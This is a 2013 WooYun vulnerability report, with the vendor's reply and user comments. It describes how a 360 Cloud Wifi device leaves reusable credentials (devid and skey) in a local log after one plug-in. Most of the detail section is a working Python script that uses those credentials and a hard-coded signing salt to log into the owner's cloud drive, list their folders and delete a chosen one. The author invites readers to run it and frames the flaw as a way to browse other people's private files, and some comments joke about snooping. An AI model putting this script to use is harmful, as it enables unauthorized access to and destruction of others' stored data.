当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041487

漏洞标题:360wifi轻插一次可实现永久控制

相关厂商:奇虎360

漏洞作者: 路人甲

提交时间:2013-10-30 17:09

修复时间:2014-01-28 17:09

公开时间:2014-01-28 17:09

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-30: 细节已通知厂商并且等待厂商处理中
2013-10-30: 厂商已经确认,细节仅向厂商公开
2013-11-02: 细节向第三方安全合作伙伴开放
2013-12-24: 细节向核心白帽子及相关领域专家公开
2014-01-03: 细节向普通白帽子公开
2014-01-13: 细节向实习白帽子公开
2014-01-28: 细节向公众公开

简要描述:

360wifi有个神奇的功能叫云U盘。它有个地方设计不当,就是在电脑上插一次之后,会在本地记录该wifi的devid和skey。之后呢?你就能通过该devid和skey任意访问云U盘中的文件了。借一下别人的360wifi,轻插一下你的电脑,然后还给他。然后你就能任意看他云U盘中的岛国电影了

详细说明:

在file://C:\Users\用户名\AppData\Roaming\360CloudWifi\expuser.log路径里,
如下:

.PNG


之后你把这两个值写到以下python文件里。

#coding=utf-8
import urllib
import urllib2
import hashlib
from xml.dom import minidom
getconf_url = "http://w.yunpan.360.cn/intf.php";
login_url = "http://w%s.yunpan.360.cn/intf.php?method=WifiUser.login&qid=%s&devtype=Wifi&v=&devid=%s&devname=&rtick=6198368&sign=%s&"
detail_url = "http://api%s.yunpan.360.cn/intf.php?method=User.getUserDetail&qid=%s&devtype=Wifi&v=1.0.0.1030&devid=%s&devname=&rtick=6211423";
getfile_url = "http://api%s.yunpan.360.cn/intf.php?method=File.getAllNodesV2&qid=%s&devtype=Wifi&v=1.0.0.1030&devid=%s&devname=&rtick=5350229";
delfile_url = "http://api%s.yunpan.360.cn/intf.php?method=File.delete&qid=%s&devtype=Wifi&v=1.0.0.1050&devid=%s&devname=&rtick=11609065";
###请将这两个值改成file://C:\Users\用户名\AppData\Roaming\360CloudWifi\expuser.log中的devid和skey
###上面的日志如下 /start /devid=xxxxxxxxxxxxxxxxx /skey=bbbbbbbbbbbbb
key = {'skey':'aaaaaaaa'}
devid = "bbbbbbbbbbbbbbbbbbbbbbb"
getConf = {
'method':'WifiUser.getConfig',
'qid':'',
'devtype':'Wifi',
'devid': devid,
'devname':'',
'rtick':'2529285',
'v':'',
'sign':''
};
userLogin = {
'method':'WifiUser.login',
'qid':'',
'devtype':'Wifi',
'devid':devid,
'devname':'',
'rtick':'6198368',
'v':'',
'sign':''
};
def getcontent(page, name):
i = page.find(name+"=")
mylen = len(page)
j = i+4
left = -1;
if(i!=-1):
for k in range(j, len(page)-1):
if(page[k]=='"'and left==-1):
left=k+1;
elif(page[k]=='"' and left>0):
right=k
break;
if(left!=-1):
return page[left:right]

def ksort(d):
result="";
for k in sorted(d.keys()):
if k!='sign':
result=result+k+'='+d[k]
#print result
return result
def getsign(data):
salt='243dcc291a9d8f31e21c9c580cfdce64'
data1=ksort(data)
data1 = data1+salt
sign = hashlib.md5(data1).hexdigest()
#print "sign is "+sign
return sign
def signurl(url):
paramlist = url.split("?")
params = paramlist[1]
pv = params.split("&")
data = {}
for k in pv:
p = k.split("=")
data[p[0]] = p[1]
return getsign(data)


def login(cid, qid, key):
userLogin['qid']=qid;
sign = getsign(userLogin);
userLogin['sign'] = sign;
login_url1 = login_url%(cid, qid, devid, sign)
req = urllib2.Request(login_url1);
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
req.add_header('Cookie', urllib.urlencode(key))
response = urllib2.urlopen(req);
page = response.read()
token = getcontent(page,"token")
return token
def detail(cid, qid, devid, token):
detail1 = detail_url%(cid,qid, devid)
sign = signurl(detail1)
detail1 = detail1+"&sign="+sign+"&ofmt=xml&pid=&";
req = urllib2.Request(detail1);
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
req.add_header('Cookie', "token="+token)
response = urllib2.urlopen(req);
page = response.read()


def getAllFile(cid, qid, devid, token):
getfile = getfile_url%(cid, qid, devid)
sign = signurl(getfile)
getfile = getfile+"&sign="+sign+"&ofmt=xml&pid=&";
req = urllib2.Request(getfile)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
req.add_header('Cookie', "token="+token+";count=1000")
response = urllib2.urlopen(req);
page = response.read()
data = parseFile(page)
return data


def deleteFile(cid, qid, devid, token, fname):
delfile = delfile_url%(cid, qid, devid)
sign = signurl(delfile)
delfile = delfile + "&sign="+sign+"&ofmt=xml&pid=home&"
req = urllib2.Request(delfile)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
req.add_header('Cookie', "token="+token+";fname=/"+fname+"/")
response = urllib2.urlopen(req);
page = response.read()
print page


def parseFile(page):
doc = minidom.parseString(page)
root = doc.documentElement
dir_infos = root.getElementsByTagName("dir_info");

i = 0;
data = {}
print "directory in the safe 360 yunpan: "
for node in dir_infos:
pid = node.getAttribute("pid")
if pid=="0":
print i
print ":"
print node.getAttribute("fname")
data[i] = node.getAttribute("fname")
i=i+1
return data

'''
proxy_handler = urllib2.ProxyHandler({'http': '127.0.0.1:8081'})
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener) '''
sign = getsign(getConf);
getConf['sign']=sign
req = urllib2.Request(getconf_url+"?"+urllib.urlencode(getConf));
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')
req.add_header('Cookie', urllib.urlencode(key))
response = urllib2.urlopen(req);
page = response.read()
cid = getcontent(page, "cid")
qid = getcontent(page, "qid")
token = login(cid, qid, key)
data = getAllFile(cid, qid, devid, token)
i = int(input("which do you want to delete? better choose an english name directory input the number: "))
deleteFile(cid, qid, devid, token, data[i])


运行下哈,选择一个你想删除的文件夹,删除吧。
代码里有个bug,暂时不支持删除中文文件夹名哦。

漏洞证明:

.PNG

修复方案:

你们更专业

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-10-30 18:24

厂商回复:

感谢反馈。由于攻击者必须拿到随身wifi设备,才能获取云U盘登录信息,因此漏洞评级为低。我们将会在新版中进一步增强登录验证机制,降低此类安全风险。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-10-30 17:10 | 海绵宝宝 ( 普通白帽子 | Rank:243 漏洞数:50 | 唯有梦想与好姑娘不可辜负.)

    插一下又不会怀孕..

  2. 2013-10-30 17:13 | 士大夫 ( 实习白帽子 | Rank:88 漏洞数:37 | 杭州WEB安全小组)

    神奇的路人甲

  3. 2013-10-30 17:28 | Mr.Jen ( 路人 | Rank:13 漏洞数:2 | 开放自由)

    @海绵宝宝 会破处

  4. 2013-10-30 17:34 | Adra1n ( 普通白帽子 | Rank:437 漏洞数:68 )

    神奇的路人甲

  5. 2013-10-30 18:01 | 一只猿 ( 普通白帽子 | Rank:463 漏洞数:89 | 硬件与无线通信研究方向)

    神奇的路人甲

  6. 2013-10-30 21:33 | 基佬库克 ( 实习白帽子 | Rank:75 漏洞数:15 | 简介什么的是直接爆菊吧..)

    由此可见TT的重要性。。

  7. 2013-10-31 00:25 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    给力的路人甲

  8. 2013-10-31 08:39 | 蛋炒饭 ( 路人 | Rank:8 漏洞数:2 | 秘密)

    以后只要丢一个360wifi,人就红了

  9. 2013-11-02 18:47 | Moogong ( 实习白帽子 | Rank:33 漏洞数:8 | 伪法医)

    岛国电影

  10. 2013-11-02 19:11 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    如果账号一致应该是丢一次 永远就同步更新你的小电影了

  11. 2013-11-02 20:57 | onlycjeg ( 实习白帽子 | Rank:38 漏洞数:5 | 我就看看,我不说话.)

    插一下又不会怀孕..

  12. 2013-11-02 23:51 | 天朝城管 ( 普通白帽子 | Rank:116 漏洞数:35 | 不要等到命玩你的时候才开始玩命)

    求公开 我同位的是个妹子家里就有 嘿嘿 你懂的

  13. 2013-11-03 00:28 | 想要减肥的胖纸 ( 普通白帽子 | Rank:250 漏洞数:42 )

    我去年买了表的,我要是卖这东西的,我就呵呵了。

  14. 2013-11-03 00:30 | 想要减肥的胖纸 ( 普通白帽子 | Rank:250 漏洞数:42 )

    去京东看看销售量吧,拿个笔记本去京东库房 插一下又不会怀孕。

  15. 2013-11-03 17:15 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活,亭长放解)

    插一下自动刷成OpenWRT。

  16. 2013-11-07 08:27 | 雷锋小号 ( 路人 | 还没有发布任何漏洞 | 乌云现在就缺我这种默默顶贴从来不求脸熟的...)

    路人甲,神一般的人物

  17. 2013-11-07 09:16 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    韩国性感车模林智慧素颜照曝光 似路人甲

  18. 2014-01-28 18:59 | ziwen ( 实习白帽子 | Rank:49 漏洞数:4 | 活着为了乐还是为了苦?)

    呵呵 我会说我插过很多地方了吗

  19. 2014-02-19 10:49 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    这都好意思评价个低。